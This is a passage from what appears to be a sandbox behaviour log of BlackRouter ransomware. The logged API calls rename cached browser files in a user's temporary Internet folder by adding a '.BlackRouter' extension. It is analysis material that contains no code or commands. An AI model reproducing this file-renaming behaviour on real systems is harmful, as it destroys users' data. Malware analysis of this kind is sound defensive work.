Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg.blackrouter")) returned 1 [0063.537] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x10c6c [0063.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60ea49c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60ea49c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc968410, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10c70)) returned 1 [0063.879] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg.blackrouter")) returned 1 [0063.880] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7f78 [0063.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf893e70, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf893e70, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcc9da830, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7f80)) returned 1 [0063.932] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg.blackrouter")) returned 1 [0063.936] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xbb [0063.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ddbc1a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ddbc1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcca00990, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0063.940] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt.blackrouter")) returned 1 [0063.941] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x66 [0064.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x551dcf90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x551dcf90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xccae51d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0064.041] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt.blackrouter")) returned 1 [0064.152] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3e3 [0064.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\async_usersync[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\async_usersync[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xccc15cd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3f0)) returned 1 [0064.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\async_usersync[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\async_usersync[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\async_usersync[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\async_usersync[1].htm.blackrouter")) returned 1 [0064.176] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xaf6 [0064.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x583e0320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x583e0320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcce04eb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb00)) returned 1 [0064.367] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm.blackrouter")) returned 1 [0064.368] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xf8f5 [0064.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60b5eb80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60b5eb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcce51170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf900)) returned 1 [0064.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm.blackrouter")) returned 1 [0064.395] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xb6c8 [0064.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5de2e5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5de2e5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcce772d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb6d0)) returned 1 [0064.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm.blackrouter")) returned 1 [0064.409] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2929 [0064.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6384cac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6384cac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xccee96f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2930)) returned 1 [0064.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js.blackrouter")) returned 1 [0064.459] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7a52 [0064.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf1239b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf1239b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xccf5bb10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7a60)) returned 1 [0064.509] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js.blackrouter")) returned 1 [0064.510] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6f15 [0064.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf4dbc10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf4dbc10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xccff4090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6f20)) returned 1 [0064.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js.blackrouter")) returned 1 [0064.574] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x102ea [0064.613] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x548efd10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x548efd10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd0664b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x102f0)) returned 1 [0064.613] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js.blackrouter")) returned 1 [0064.627] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xe455 [0064.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfa36d90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfa36d90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcd124b90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe460)) returned 1 [0064.688] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif.blackrouter")) returned 1 [0064.689] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2b [0064.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x467cf930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd170e50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0064.716] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif.blackrouter")) returned 1 [0064.717] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2b [0064.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5120a1b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5120a1b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd22f530, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0064.799] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif.blackrouter")) returned 1 [0064.800] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x29b [0064.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458a2cf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458a2cf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd255690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2a0)) returned 1 [0064.811] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 